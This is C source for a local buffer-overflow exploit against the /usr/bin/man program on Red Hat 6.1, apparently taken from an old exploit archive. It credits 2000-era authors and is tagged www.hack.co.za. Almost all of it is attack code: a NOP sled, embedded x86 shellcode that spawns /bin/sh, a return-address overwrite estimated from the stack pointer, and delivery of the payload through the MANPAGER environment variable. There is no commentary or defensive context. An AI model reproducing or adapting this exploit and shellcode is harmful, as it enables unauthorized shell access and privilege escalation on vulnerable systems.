redhat 6.1 /usr/bin/man exploit.
a500d368a3d864005964651a7bdc495be0ca96fa5760a567eb02ee98dd14c8e6
/*
* Rewriten from:
* (c) 2000 babcia padlina / b0f
* (lcamtuf's idea)
* by Kil3r of Lam3rZ
*
* redhat 6.1 /usr/bin/man exploit
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define OFS 1800
#define BUFSIZE 4017
#define ADDRS 1000
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char buf[BUFSIZE+strlen(execshell)], *p;
int noplen, i, ofs;
long ret, *ap;
ret = getesp() + OFS;
memset(buf,NOP,BUFSIZE+strlen(execshell));
memcpy(buf+BUFSIZE-(strlen(execshell)+20),execshell,strlen(execshell));
p=buf+BUFSIZE+strlen(execshell)-4;
ap=(int *)p;
*ap=ret; //0x46464646;
fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));
setenv("MANPAGER", buf, 1);
execl("./man", "man", "ls", 0);
return 0;
}
/* www.hack.co.za */